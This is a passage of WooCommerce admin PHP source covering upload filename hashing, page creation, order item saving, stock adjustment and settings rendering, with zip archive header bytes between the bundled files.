				$pathdata['subdir'] = '/woocommerce_uploads';
			} else {
				$new_subdir = '/woocommerce_uploads' . $pathdata['subdir'];

				$pathdata['path']   = str_replace( $pathdata['subdir'], $new_subdir, $pathdata['path'] );
				$pathdata['url']    = str_replace( $pathdata['subdir'], $new_subdir, $pathdata['url'] );
				$pathdata['subdir'] = str_replace( $pathdata['subdir'], $new_subdir, $pathdata['subdir'] );
			}
		}
		return $pathdata;
		// phpcs:enable WordPress.Security.NonceVerification.Missing
	}

	/**
	 * Change filename for WooCommerce uploads and prepend unique chars for security.
	 *
	 * @param string $full_filename Original filename.
	 * @param string $ext           Extension of file.
	 * @param string $dir           Directory path.
	 *
	 * @return string New filename with unique hash.
	 * @since 4.0
	 */
	public function update_filename( $full_filename, $ext, $dir ) {
		// phpcs:disable WordPress.Security.NonceVerification.Missing
		if ( ! isset( $_POST['type'] ) || ! 'downloadable_product' === $_POST['type'] ) {
			return $full_filename;
		}

		if ( ! strpos( $dir, 'woocommerce_uploads' ) ) {
			return $full_filename;
		}

		if ( 'no' === get_option( 'woocommerce_downloads_add_hash_to_filename' ) ) {
			return $full_filename;
		}

		return $this->unique_filename( $full_filename, $ext );
		// phpcs:enable WordPress.Security.NonceVerification.Missing
	}

	/**
	 * Change filename to append random text.
	 *
	 * @param string $full_filename Original filename with extension.
	 * @param string $ext           Extension.
	 *
	 * @return string Modified filename.
	 */
	public function unique_filename( $full_filename, $ext ) {
		$ideal_random_char_length = 6;   // Not going with a larger length because then downloaded filename will not be pretty.
		$max_filename_length      = 255; // Max file name length for most file systems.
		$length_to_prepend        = min( $ideal_random_char_length, $max_filename_length - strlen( $full_filename ) - 1 );

		if ( 1 > $length_to_prepend ) {
			return $full_filename;
		}

		$suffix   = strtolower( wp_generate_password( $length_to_prepend, false, false ) );
		$filename = $full_filename;

		if ( strlen( $ext ) > 0 ) {
			$filename = substr( $filename, 0, strlen( $filename ) - strlen( $ext ) );
		}

		$full_filename = str_replace(
			$filename,
			"$filename-$suffix",
			$full_filename
		);

		return $full_filename;
	}

	/**
	 * Run a filter when uploading a downloadable product.
	 */
	public function woocommerce_media_upload_downloadable_product() {
		do_action( 'media_upload_file' );
	}

	/**
	 * Grant downloadable file access to any newly added files on any existing.
	 * orders for this product that have previously been granted downloadable file access.
	 *
	 * @param int   $product_id product identifier.
	 * @param int   $variation_id optional product variation identifier.
	 * @param array $downloadable_files newly set files.
	 * @deprecated 3.3.0 and moved to post-data class.
	 */
	public function process_product_file_download_paths( $product_id, $variation_id, $downloadable_files ) {
		wc_deprecated_function( 'WC_Admin_Post_Types::process_product_file_download_paths', '3.3', '' );
		WC_Post_Data::process_product_file_download_paths( $product_id, $variation_id, $downloadable_files );
	}

	/**
	 * When editing the shop page, we should hide templates.
	 *
	 * @param array   $page_templates Templates array.
	 * @param string  $theme Classname.
	 * @param WP_Post $post The current post object.
	 * @return array
	 */
	public function hide_cpt_archive_templates( $page_templates, $theme, $post ) {
		$shop_page_id = wc_get_page_id( 'shop' );

		if ( $post && absint( $post->ID ) === $shop_page_id ) {
			$page_templates = array();
		}

		return $page_templates;
	}

	/**
	 * Show a notice above the CPT archive.
	 *
	 * @param WP_Post $post The current post object.
	 */
	public function show_cpt_archive_notice( $post ) {
		$shop_page_id = wc_get_page_id( 'shop' );

		if ( $post && absint( $post->ID ) === $shop_page_id ) {
			echo '<div class="notice notice-info">';
			/* translators: %s: URL to read more about the shop page. */
			echo '<p>' . sprintf( wp_kses_post( __( 'This is the WooCommerce shop page. The shop page is a special archive that lists your products. <a href="%s">You can read more about this here</a>.', 'woocommerce' ) ), 'https://docs.woocommerce.com/document/woocommerce-pages/#section-4' ) . '</p>';
			echo '</div>';
		}
	}

	/**
	 * Add a post display state for special WC pages in the page list table.
	 *
	 * @param array   $post_states An array of post display states.
	 * @param WP_Post $post        The current post object.
	 */
	public function add_display_post_states( $post_states, $post ) {
		if ( wc_get_page_id( 'shop' ) === $post->ID ) {
			$post_states['wc_page_for_shop'] = __( 'Shop Page', 'woocommerce' );
		}

		if ( wc_get_page_id( 'cart' ) === $post->ID ) {
			$post_states['wc_page_for_cart'] = __( 'Cart Page', 'woocommerce' );
		}

		if ( wc_get_page_id( 'checkout' ) === $post->ID ) {
			$post_states['wc_page_for_checkout'] = __( 'Checkout Page', 'woocommerce' );
		}

		if ( wc_get_page_id( 'myaccount' ) === $post->ID ) {
			$post_states['wc_page_for_myaccount'] = __( 'My Account Page', 'woocommerce' );
		}

		if ( wc_get_page_id( 'terms' ) === $post->ID ) {
			$post_states['wc_page_for_terms'] = __( 'Terms and Conditions Page', 'woocommerce' );
		}

		return $post_states;
	}

	/**
	 * Apply product type constraints to stock status.
	 *
	 * @param WC_Product  $product The product whose stock status will be adjusted.
	 * @param string|null $stock_status The stock status to use for adjustment, or null if no new stock status has been supplied in the request.
	 * @return WC_Product The supplied product, or the synced product if it was a variable product.
	 */
	private function maybe_update_stock_status( $product, $stock_status ) {
		if ( $product->is_type( 'external' ) ) {
			// External products are always in stock.
			$product->set_stock_status( 'instock' );
		} elseif ( isset( $stock_status ) ) {
			if ( $product->is_type( 'variable' ) && ! $product->get_manage_stock() ) {
				// Stock status is determined by children.
				foreach ( $product->get_children() as $child_id ) {
					$child = wc_get_product( $child_id );
					if ( ! $product->get_manage_stock() ) {
						$child->set_stock_status( $stock_status );
						$child->save();
					}
				}
				$product = WC_Product_Variable::sync( $product, false );
			} else {
				$product->set_stock_status( $stock_status );
			}
		}

		return $product;
	}

	/**
	 * Set the new regular or sale price if requested.
	 *
	 * @param WC_Product $product The product to set the new price for.
	 * @param string     $price_type 'regular' or 'sale'.
	 * @return bool true if a new price has been set, false otherwise.
	 */
	private function set_new_price( $product, $price_type ) {
		// phpcs:disable WordPress.Security.NonceVerification.Recommended

		$request_data = $this->request_data();

		if ( empty( $request_data[ "change_{$price_type}_price" ] ) || ! isset( $request_data[ "_{$price_type}_price" ] ) ) {
			return false;
		}

		$old_price     = $product->{"get_{$price_type}_price"}();
		$price_changed = false;

		$change_price  = absint( $request_data[ "change_{$price_type}_price" ] );
		$raw_price     = wc_clean( wp_unslash( $request_data[ "_{$price_type}_price" ] ) );
		$is_percentage = (bool) strstr( $raw_price, '%' );
		$price         = wc_format_decimal( $raw_price );

		switch ( $change_price ) {
			case 1:
				$new_price = $price;
				break;
			case 2:
				if ( $is_percentage ) {
					$percent   = $price / 100;
					$new_price = $old_price + ( $old_price * $percent );
				} else {
					$new_price = $old_price + $price;
				}
				break;
			case 3:
				if ( $is_percentage ) {
					$percent   = $price / 100;
					$new_price = max( 0, $old_price - ( $old_price * $percent ) );
				} else {
					$new_price = max( 0, $old_price - $price );
				}
				break;
			case 4:
				if ( 'sale' !== $price_type ) {
					break;
				}
				$regular_price = $product->get_regular_price();
				if ( $is_percentage ) {
					$percent   = $price / 100;
					$new_price = max( 0, $regular_price - ( NumberUtil::round( $regular_price * $percent, wc_get_price_decimals() ) ) );
				} else {
					$new_price = max( 0, $regular_price - $price );
				}
				break;

			default:
				break;
		}

		if ( isset( $new_price ) && $new_price !== $old_price ) {
			$price_changed = true;
			$new_price     = NumberUtil::round( $new_price, wc_get_price_decimals() );
			$product->{"set_{$price_type}_price"}( $new_price );
		}

		return $price_changed;

		// phpcs:disable WordPress.Security.NonceVerification.Recommended
	}

	/**
	 * Get the current request data ($_REQUEST superglobal).
	 * This method is added to ease unit testing.
	 *
	 * @return array The $_REQUEST superglobal.
	 */
	protected function request_data() {
		return $_REQUEST;
	}
}

new WC_Admin_Post_Types();
PK�3\z}&�`A`Awc-admin-functions.phpnu�[���<?php
/**
 * WooCommerce Admin Functions
 *
 * @package  WooCommerce\Admin\Functions
 * @version  2.4.0
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Get all WooCommerce screen ids.
 *
 * @return array
 */
function wc_get_screen_ids() {

	$wc_screen_id = sanitize_title( __( 'WooCommerce', 'woocommerce' ) );
	$screen_ids   = array(
		'toplevel_page_' . $wc_screen_id,
		$wc_screen_id . '_page_wc-reports',
		$wc_screen_id . '_page_wc-shipping',
		$wc_screen_id . '_page_wc-settings',
		$wc_screen_id . '_page_wc-status',
		$wc_screen_id . '_page_wc-addons',
		'toplevel_page_wc-reports',
		'product_page_product_attributes',
		'product_page_product_exporter',
		'product_page_product_importer',
		'edit-product',
		'product',
		'edit-shop_coupon',
		'shop_coupon',
		'edit-product_cat',
		'edit-product_tag',
		'profile',
		'user-edit',
	);

	foreach ( wc_get_order_types() as $type ) {
		$screen_ids[] = $type;
		$screen_ids[] = 'edit-' . $type;
	}

	$attributes = wc_get_attribute_taxonomies();

	if ( $attributes ) {
		foreach ( $attributes as $attribute ) {
			$screen_ids[] = 'edit-' . wc_attribute_taxonomy_name( $attribute->attribute_name );
		}
	}

	return apply_filters( 'woocommerce_screen_ids', $screen_ids );
}

/**
 * Create a page and store the ID in an option.
 *
 * @param mixed  $slug Slug for the new page.
 * @param string $option Option name to store the page's ID.
 * @param string $page_title (default: '') Title for the new page.
 * @param string $page_content (default: '') Content for the new page.
 * @param int    $post_parent (default: 0) Parent for the new page.
 * @param string $post_status (default: publish) The post status of the new page.
 * @return int page ID.
 */
function wc_create_page( $slug, $option = '', $page_title = '', $page_content = '', $post_parent = 0, $post_status = 'publish' ) {
	global $wpdb;

	$option_value = get_option( $option );

	if ( $option_value > 0 ) {
		$page_object = get_post( $option_value );

		if ( $page_object && 'page' === $page_object->post_type && ! in_array( $page_object->post_status, array( 'pending', 'trash', 'future', 'auto-draft' ), true ) ) {
			// Valid page is already in place.
			return $page_object->ID;
		}
	}

	if ( strlen( $page_content ) > 0 ) {
		// Search for an existing page with the specified page content (typically a shortcode).
		$shortcode = str_replace( array( '<!-- wp:shortcode -->', '<!-- /wp:shortcode -->' ), '', $page_content );
		$valid_page_found = $wpdb->get_var( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_type='page' AND post_status NOT IN ( 'pending', 'trash', 'future', 'auto-draft' ) AND post_content LIKE %s LIMIT 1;", "%{$shortcode}%" ) );
	} else {
		// Search for an existing page with the specified page slug.
		$valid_page_found = $wpdb->get_var( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_type='page' AND post_status NOT IN ( 'pending', 'trash', 'future', 'auto-draft' )  AND post_name = %s LIMIT 1;", $slug ) );
	}

	$valid_page_found = apply_filters( 'woocommerce_create_page_id', $valid_page_found, $slug, $page_content );

	if ( $valid_page_found ) {
		if ( $option ) {
			update_option( $option, $valid_page_found );
		}
		return $valid_page_found;
	}

	// Search for a matching valid trashed page.
	if ( strlen( $page_content ) > 0 ) {
		// Search for an existing page with the specified page content (typically a shortcode).
		$trashed_page_found = $wpdb->get_var( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_type='page' AND post_status = 'trash' AND post_content LIKE %s LIMIT 1;", "%{$page_content}%" ) );
	} else {
		// Search for an existing page with the specified page slug.
		$trashed_page_found = $wpdb->get_var( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_type='page' AND post_status = 'trash' AND post_name = %s LIMIT 1;", $slug ) );
	}

	if ( $trashed_page_found ) {
		$page_id   = $trashed_page_found;
		$page_data = array(
			'ID'          => $page_id,
			'post_status' => $post_status,
		);
		wp_update_post( $page_data );
	} else {
		$page_data = array(
			'post_status'    => $post_status,
			'post_type'      => 'page',
			'post_author'    => 1,
			'post_name'      => $slug,
			'post_title'     => $page_title,
			'post_content'   => $page_content,
			'post_parent'    => $post_parent,
			'comment_status' => 'closed',
		);
		$page_id   = wp_insert_post( $page_data );

		do_action( 'woocommerce_page_created', $page_id, $page_data );
	}

	if ( $option ) {
		update_option( $option, $page_id );
	}

	return $page_id;
}

/**
 * Output admin fields.
 *
 * Loops through the woocommerce options array and outputs each field.
 *
 * @param array $options Opens array to output.
 */
function woocommerce_admin_fields( $options ) {

	if ( ! class_exists( 'WC_Admin_Settings', false ) ) {
		include dirname( __FILE__ ) . '/class-wc-admin-settings.php';
	}

	WC_Admin_Settings::output_fields( $options );
}

/**
 * Update all settings which are passed.
 *
 * @param array $options Option fields to save.
 * @param array $data Passed data.
 */
function woocommerce_update_options( $options, $data = null ) {

	if ( ! class_exists( 'WC_Admin_Settings', false ) ) {
		include dirname( __FILE__ ) . '/class-wc-admin-settings.php';
	}

	WC_Admin_Settings::save_fields( $options, $data );
}

/**
 * Get a setting from the settings API.
 *
 * @param mixed $option_name Option name to save.
 * @param mixed $default Default value to save.
 * @return string
 */
function woocommerce_settings_get_option( $option_name, $default = '' ) {

	if ( ! class_exists( 'WC_Admin_Settings', false ) ) {
		include dirname( __FILE__ ) . '/class-wc-admin-settings.php';
	}

	return WC_Admin_Settings::get_option( $option_name, $default );
}

/**
 * Sees if line item stock has already reduced stock, and whether those values need adjusting e.g. after changing item qty.
 *
 * @since 3.6.0
 * @param WC_Order_Item $item Item object.
 * @param integer       $item_quantity Optional quantity to check against. Read from object if not passed.
 * @return boolean|array|WP_Error Array of changes or error object when stock is updated (@see wc_update_product_stock). False if nothing changes.
 */
function wc_maybe_adjust_line_item_product_stock( $item, $item_quantity = -1 ) {
	if ( 'line_item' !== $item->get_type() ) {
		return false;
	}

	/**
	 * Prevent adjust line item product stock.
	 *
	 * @since 3.7.1
	 * @param bool $prevent If should prevent.
	 * @param WC_Order_Item $item Item object.
	 * @param int           $item_quantity Optional quantity to check against.
	 */
	if ( apply_filters( 'woocommerce_prevent_adjust_line_item_product_stock', false, $item, $item_quantity ) ) {
		return false;
	}

	$product = $item->get_product();

	if ( ! $product || ! $product->managing_stock() ) {
		return false;
	}

	$item_quantity          = wc_stock_amount( $item_quantity >= 0 ? $item_quantity : $item->get_quantity() );
	$already_reduced_stock  = wc_stock_amount( $item->get_meta( '_reduced_stock', true ) );
	$restock_refunded_items = wc_stock_amount( $item->get_meta( '_restock_refunded_items', true ) );
	$order                  = $item->get_order();
	$refunded_item_quantity = $order->get_qty_refunded_for_item( $item->get_id() );

	$diff = $item_quantity - $restock_refunded_items - $already_reduced_stock;

	/*
	 * 0 as $item_quantity usually indicates we're deleting the order item.
	 * Let's restore back the reduced count.
	 */
	if ( 0 === $item_quantity ) {
		$diff = $already_reduced_stock * -1;
	}

	if ( $diff < 0 ) {
		$new_stock = wc_update_product_stock( $product, $diff * -1, 'increase' );
	} elseif ( $diff > 0 ) {
		$new_stock = wc_update_product_stock( $product, $diff, 'decrease' );
	} else {
		return false;
	}

	if ( is_wp_error( $new_stock ) ) {
		return $new_stock;
	}

	$item->update_meta_data( '_reduced_stock', $item_quantity - $restock_refunded_items );
	$item->save();

	if ( $item_quantity > 0 ) {
		// If stock was reduced, then we need to mark this on parent order object as well so that cancel logic works properly.
		$order_data_store = WC_Data_Store::load( 'order' );
		if ( $item->get_order_id() && ! $order_data_store->get_stock_reduced( $item->get_order_id() ) ) {
			$order_data_store->set_stock_reduced( $item->get_order_id(), true );
		}
	}

	return array(
		'from' => $new_stock + $diff,
		'to'   => $new_stock,
	);
}

/**
 * Save order items. Uses the CRUD.
 *
 * @since 2.2
 * @param int   $order_id Order ID.
 * @param array $items Order items to save.
 */
function wc_save_order_items( $order_id, $items ) {
	// Allow other plugins to check change in order items before they are saved.
	do_action( 'woocommerce_before_save_order_items', $order_id, $items );

	$qty_change_order_notes = array();
	$order                  = wc_get_order( $order_id );

	// Line items and fees.
	if ( isset( $items['order_item_id'] ) ) {
		$data_keys = array(
			'line_tax'             => array(),
			'line_subtotal_tax'    => array(),
			'order_item_name'      => null,
			'order_item_qty'       => null,
			'order_item_tax_class' => null,
			'line_total'           => null,
			'line_subtotal'        => null,
		);
		foreach ( $items['order_item_id'] as $item_id ) {
			$item = WC_Order_Factory::get_order_item( absint( $item_id ) );

			if ( ! $item ) {
				continue;
			}

			$item_data = array();

			foreach ( $data_keys as $key => $default ) {
				$item_data[ $key ] = isset( $items[ $key ][ $item_id ] ) ? wc_check_invalid_utf8( wp_unslash( $items[ $key ][ $item_id ] ) ) : $default;
			}

			if ( '0' === $item_data['order_item_qty'] ) {
				$changed_stock = wc_maybe_adjust_line_item_product_stock( $item, 0 );
				if ( $changed_stock && ! is_wp_error( $changed_stock ) ) {
					$qty_change_order_notes[] = $item->get_name() . ' &ndash; ' . $changed_stock['from'] . '&rarr;' . $changed_stock['to'];
				}
				$item->delete();
				continue;
			}

			$item->set_props(
				array(
					'name'      => $item_data['order_item_name'],
					'quantity'  => $item_data['order_item_qty'],
					'tax_class' => $item_data['order_item_tax_class'],
					'total'     => $item_data['line_total'],
					'subtotal'  => $item_data['line_subtotal'],
					'taxes'     => array(
						'total'    => $item_data['line_tax'],
						'subtotal' => $item_data['line_subtotal_tax'],
					),
				)
			);

			if ( 'fee' === $item->get_type() ) {
				$item->set_amount( $item_data['line_total'] );
			}

			if ( isset( $items['meta_key'][ $item_id ], $items['meta_value'][ $item_id ] ) ) {
				foreach ( $items['meta_key'][ $item_id ] as $meta_id => $meta_key ) {
					$meta_key   = substr( wp_unslash( $meta_key ), 0, 255 );
					$meta_value = isset( $items['meta_value'][ $item_id ][ $meta_id ] ) ? wp_unslash( $items['meta_value'][ $item_id ][ $meta_id ] ) : '';

					if ( '' === $meta_key && '' === $meta_value ) {
						if ( ! strstr( $meta_id, 'new-' ) ) {
							$item->delete_meta_data_by_mid( $meta_id );
						}
					} elseif ( strstr( $meta_id, 'new-' ) ) {
						$item->add_meta_data( $meta_key, $meta_value, false );
					} else {
						$item->update_meta_data( $meta_key, $meta_value, $meta_id );
					}
				}
			}

			// Allow other plugins to change item object before it is saved.
			do_action( 'woocommerce_before_save_order_item', $item );

			$item->save();

			if ( in_array( $order->get_status(), array( 'processing', 'completed', 'on-hold' ) ) ) {
				$changed_stock = wc_maybe_adjust_line_item_product_stock( $item );
				if ( $changed_stock && ! is_wp_error( $changed_stock ) ) {
					$qty_change_order_notes[] = $item->get_name() . ' (' . $changed_stock['from'] . '&rarr;' . $changed_stock['to'] . ')';
				}
			}
		}
	}

	// Shipping Rows.
	if ( isset( $items['shipping_method_id'] ) ) {
		$data_keys = array(
			'shipping_method'       => null,
			'shipping_method_title' => null,
			'shipping_cost'         => 0,
			'shipping_taxes'        => array(),
		);

		foreach ( $items['shipping_method_id'] as $item_id ) {
			$item = WC_Order_Factory::get_order_item( absint( $item_id ) );

			if ( ! $item ) {
				continue;
			}

			$item_data = array();

			foreach ( $data_keys as $key => $default ) {
				$item_data[ $key ] = isset( $items[ $key ][ $item_id ] ) ? wc_clean( wp_unslash( $items[ $key ][ $item_id ] ) ) : $default;
			}

			$item->set_props(
				array(
					'method_id'    => $item_data['shipping_method'],
					'method_title' => $item_data['shipping_method_title'],
					'total'        => $item_data['shipping_cost'],
					'taxes'        => array(
						'total' => $item_data['shipping_taxes'],
					),
				)
			);

			if ( isset( $items['meta_key'][ $item_id ], $items['meta_value'][ $item_id ] ) ) {
				foreach ( $items['meta_key'][ $item_id ] as $meta_id => $meta_key ) {
					$meta_value = isset( $items['meta_value'][ $item_id ][ $meta_id ] ) ? wp_unslash( $items['meta_value'][ $item_id ][ $meta_id ] ) : '';

					if ( '' === $meta_key && '' === $meta_value ) {
						if ( ! strstr( $meta_id, 'new-' ) ) {
							$item->delete_meta_data_by_mid( $meta_id );
						}
					} elseif ( strstr( $meta_id, 'new-' ) ) {
						$item->add_meta_data( $meta_key, $meta_value, false );
					} else {
						$item->update_meta_data( $meta_key, $meta_value, $meta_id );
					}
				}
			}

			$item->save();
		}
	}

	$order = wc_get_order( $order_id );

	if ( ! empty( $qty_change_order_notes ) ) {
		/* translators: %s item name. */
		$order->add_order_note( sprintf( __( 'Adjusted stock: %s', 'woocommerce' ), implode( ', ', $qty_change_order_notes ) ), false, true );
	}

	$order->update_taxes();
	$order->calculate_totals( false );

	// Inform other plugins that the items have been saved.
	do_action( 'woocommerce_saved_order_items', $order_id, $items );
}

/**
 * Get HTML for some action buttons. Used in list tables.
 *
 * @since 3.3.0
 * @param array $actions Actions to output.
 * @return string
 */
function wc_render_action_buttons( $actions ) {
	$actions_html = '';

	foreach ( $actions as $action ) {
		if ( isset( $action['group'] ) ) {
			$actions_html .= '<div class="wc-action-button-group"><label>' . $action['group'] . '</label> <span class="wc-action-button-group__items">' . wc_render_action_buttons( $action['actions'] ) . '</span></div>';
		} elseif ( isset( $action['action'], $action['url'], $action['name'] ) ) {
			$actions_html .= sprintf( '<a class="button wc-action-button wc-action-button-%1$s %1$s" href="%2$s" aria-label="%3$s" title="%3$s">%4$s</a>', esc_attr( $action['action'] ), esc_url( $action['url'] ), esc_attr( isset( $action['title'] ) ? $action['title'] : $action['name'] ), esc_html( $action['name'] ) );
		}
	}

	return $actions_html;
}

/**
 * Shows a notice if variations are missing prices.
 *
 * @since 3.6.0
 * @param WC_Product $product_object Product object.
 */
function wc_render_invalid_variation_notice( $product_object ) {
	global $wpdb;

	// Give ability for extensions to hide this notice.
	if ( ! apply_filters( 'woocommerce_show_invalid_variations_notice', true, $product_object ) ) {
		return;
	}

	$variation_ids = $product_object ? $product_object->get_children() : array();

	if ( empty( $variation_ids ) ) {
		return;
	}

	$variation_count = count( $variation_ids );

	// Check if a variation exists without pricing data.
	// phpcs:disable WordPress.DB.PreparedSQL.NotPrepared
	$invalid_variation_count = $wpdb->get_var(
		"
		SELECT count(post_id) FROM {$wpdb->postmeta}
		WHERE post_id in (" . implode( ',', array_map( 'absint', $variation_ids ) ) . ")
		AND meta_key='_price'
		AND meta_value >= 0
		AND meta_value != ''
		"
	);
	// phpcs:enable WordPress.DB.PreparedSQL.NotPrepared

	if ( 0 < ( $variation_count - $invalid_variation_count ) ) {
		?>
		<div id="message" class="inline notice woocommerce-message woocommerce-notice-invalid-variation">
			<p>
			<?php
			echo wp_kses_post(
				sprintf(
					/* Translators: %d variation count. */
					_n( '%d variation does not have a price.', '%d variations do not have prices.', ( $variation_count - $invalid_variation_count ), 'woocommerce' ),
					( $variation_count - $invalid_variation_count )
				) . '&nbsp;' .
				__( 'Variations (and their attributes) that do not have prices will not be shown in your store.', 'woocommerce' )
			);
			?>
			</p>
		</div>
		<?php
	}
}

/**
 * Get current admin page URL.
 *
 * Returns an empty string if it cannot generate a URL.
 *
 * @internal
 * @since 4.4.0
 * @return string
 */
function wc_get_current_admin_url() {
	$uri = isset( $_SERVER['REQUEST_URI'] ) ? esc_url_raw( wp_unslash( $_SERVER['REQUEST_URI'] ) ) : '';
	$uri = preg_replace( '|^.*/wp-admin/|i', '', $uri );

	if ( ! $uri ) {
		return '';
	}

	return remove_query_arg( array( '_wpnonce', '_wc_notice_nonce', 'wc_db_update', 'wc_db_update_nonce', 'wc-hide-notice' ), admin_url( $uri ) );
}
PK�3\�w,�<�<�class-wc-admin-settings.phpnu�[���<?php
/**
 * WooCommerce Admin Settings Class
 *
 * @package  WooCommerce\Admin
 * @version  3.4.0
 */

use Automattic\Jetpack\Constants;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

if ( ! class_exists( 'WC_Admin_Settings', false ) ) :

	/**
	 * WC_Admin_Settings Class.
	 */
	class WC_Admin_Settings {

		/**
		 * Setting pages.
		 *
		 * @var array
		 */
		private static $settings = array();

		/**
		 * Error messages.
		 *
		 * @var array
		 */
		private static $errors = array();

		/**
		 * Update messages.
		 *
		 * @var array
		 */
		private static $messages = array();

		/**
		 * Include the settings page classes.
		 */
		public static function get_settings_pages() {
			if ( empty( self::$settings ) ) {
				$settings = array();

				include_once dirname( __FILE__ ) . '/settings/class-wc-settings-page.php';

				$settings[] = include __DIR__ . '/settings/class-wc-settings-general.php';
				$settings[] = include __DIR__ . '/settings/class-wc-settings-products.php';
				$settings[] = include __DIR__ . '/settings/class-wc-settings-tax.php';
				$settings[] = include __DIR__ . '/settings/class-wc-settings-shipping.php';
				$settings[] = include __DIR__ . '/settings/class-wc-settings-payment-gateways.php';
				$settings[] = include __DIR__ . '/settings/class-wc-settings-accounts.php';
				$settings[] = include __DIR__ . '/settings/class-wc-settings-emails.php';
				$settings[] = include __DIR__ . '/settings/class-wc-settings-integrations.php';
				$settings[] = include __DIR__ . '/settings/class-wc-settings-advanced.php';

				self::$settings = apply_filters( 'woocommerce_get_settings_pages', $settings );
			}

			return self::$settings;
		}

		/**
		 * Save the settings.
		 */
		public static function save() {
			global $current_tab;

			check_admin_referer( 'woocommerce-settings' );

			// Trigger actions.
			do_action( 'woocommerce_settings_save_' . $current_tab );
			do_action( 'woocommerce_update_options_' . $current_tab );
			do_action( 'woocommerce_update_options' );

			self::add_message( __( 'Your settings have been saved.', 'woocommerce' ) );
			self::check_download_folder_protection();

			// Clear any unwanted data and flush rules.
			update_option( 'woocommerce_queue_flush_rewrite_rules', 'yes' );
			WC()->query->init_query_vars();
			WC()->query->add_endpoints();

			do_action( 'woocommerce_settings_saved' );
		}

		/**
		 * Add a message.
		 *
		 * @param string $text Message.
		 */
		public static function add_message( $text ) {
			self::$messages[] = $text;
		}

		/**
		 * Add an error.
		 *
		 * @param string $text Message.
		 */
		public static function add_error( $text ) {
			self::$errors[] = $text;
		}

		/**
		 * Output messages + errors.
		 */
		public static function show_messages() {
			if ( count( self::$errors ) > 0 ) {
				foreach ( self::$errors as $error ) {
					echo '<div id="message" class="error inline"><p><strong>' . esc_html( $error ) . '</strong></p></div>';
				}
			} elseif ( count( self::$messages ) > 0 ) {
				foreach ( self::$messages as $message ) {
					echo '<div id="message" class="updated inline"><p><strong>' . esc_html( $message ) . '</strong></p></div>';
				}
			}
		}

		/**
		 * Settings page.
		 *
		 * Handles the display of the main woocommerce settings page in admin.
		 */
		public static function output() {
			global $current_section, $current_tab;

			$suffix = Constants::is_true( 'SCRIPT_DEBUG' ) ? '' : '.min';

			do_action( 'woocommerce_settings_start' );

			wp_enqueue_script( 'woocommerce_settings', WC()->plugin_url() . '/assets/js/admin/settings' . $suffix . '.js', array( 'jquery', 'wp-util', 'jquery-ui-datepicker', 'jquery-ui-sortable', 'iris', 'selectWoo' ), WC()->version, true );

			wp_localize_script(
				'woocommerce_settings',
				'woocommerce_settings_params',
				array(
					'i18n_nav_warning'                    => __( 'The changes you made will be lost if you navigate away from this page.', 'woocommerce' ),
					'i18n_moved_up'                       => __( 'Item moved up', 'woocommerce' ),
					'i18n_moved_down'                     => __( 'Item moved down', 'woocommerce' ),
					'i18n_no_specific_countries_selected' => __( 'Selecting no country / region to sell to prevents from completing the checkout. Continue anyway?', 'woocommerce' ),
				)
			);

			// Get tabs for the settings page.
			$tabs = apply_filters( 'woocommerce_settings_tabs_array', array() );

			include dirname( __FILE__ ) . '/views/html-admin-settings.php';
		}

		/**
		 * Get a setting from the settings API.
		 *
		 * @param string $option_name Option name.
		 * @param mixed  $default     Default value.
		 * @return mixed
		 */
		public static function get_option( $option_name, $default = '' ) {
			if ( ! $option_name ) {
				return $default;
			}

			// Array value.
			if ( strstr( $option_name, '[' ) ) {

				parse_str( $option_name, $option_array );

				// Option name is first key.
				$option_name = current( array_keys( $option_array ) );

				// Get value.
				$option_values = get_option( $option_name, '' );

				$key = key( $option_array[ $option_name ] );

				if ( isset( $option_values[ $key ] ) ) {
					$option_value = $option_values[ $key ];
				} else {
					$option_value = null;
				}
			} else {
				// Single value.
				$option_value = get_option( $option_name, null );
			}

			if ( is_array( $option_value ) ) {
				$option_value = wp_unslash( $option_value );
			} elseif ( ! is_null( $option_value ) ) {
				$option_value = stripslashes( $option_value );
			}

			return ( null === $option_value ) ? $default : $option_value;
		}

		/**
		 * Output admin fields.
		 *
		 * Loops through the woocommerce options array and outputs each field.
		 *
		 * @param array[] $options Opens array to output.
		 */
		public static function output_fields( $options ) {
			foreach ( $options as $value ) {
				if ( ! isset( $value['type'] ) ) {
					continue;
				}
				if ( ! isset( $value['id'] ) ) {
					$value['id'] = '';
				}
				if ( ! isset( $value['title'] ) ) {
					$value['title'] = isset( $value['name'] ) ? $value['name'] : '';
				}
				if ( ! isset( $value['class'] ) ) {
					$value['class'] = '';
				}
				if ( ! isset( $value['css'] ) ) {
					$value['css'] = '';
				}
				if ( ! isset( $value['default'] ) ) {
					$value['default'] = '';
				}
				if ( ! isset( $value['desc'] ) ) {
					$value['desc'] = '';
				}
				if ( ! isset( $value['desc_tip'] ) ) {
					$value['desc_tip'] = false;
				}
				if ( ! isset( $value['placeholder'] ) ) {
					$value['placeholder'] = '';
				}
				if ( ! isset( $value['suffix'] ) ) {
					$value['suffix'] = '';
				}
				if ( ! isset( $value['value'] ) ) {
					$value['value'] = self::get_option( $value['id'], $value['default'] );
				}

				// Custom attribute handling.
				$custom_attributes = array();

				if ( ! empty( $value['custom_attributes'] ) && is_array( $value['custom_attributes'] ) ) {
					foreach ( $value['custom_attributes'] as $attribute => $attribute_value ) {
						$custom_attributes[] = esc_attr( $attribute ) . '="' . esc_attr( $attribute_value ) . '"';
					}
				}

				// Description handling.
				$field_description = self::get_field_description( $value );
				$description       = $field_description['description'];
				$tooltip_html      = $field_description['tooltip_html'];

				// Switch based on type.
				switch ( $value['type'] ) {

					// Section Titles.
					case 'title':
						if ( ! empty( $value['title'] ) ) {
							echo '<h2>' . esc_html( $value['title'] ) . '</h2>';
						}
						if ( ! empty( $value['desc'] ) ) {
							echo '<div id="' . esc_attr( sanitize_title( $value['id'] ) ) . '-description">';
							echo wp_kses_post( wpautop( wptexturize( $value['desc'] ) ) );
							echo '</div>';
						}
						echo '<table class="form-table">' . "\n\n";
						if ( ! empty( $value['id'] ) ) {
							do_action( 'woocommerce_settings_' . sanitize_title( $value['id'] ) );
						}
						break;

					// Section Ends.
					case 'sectionend':
						if ( ! empty( $value['id'] ) ) {
							do_action( 'woocommerce_settings_' . sanitize_title( $value['id'] ) . '_end' );
						}
						echo '</table>';
						if ( ! empty( $value['id'] ) ) {
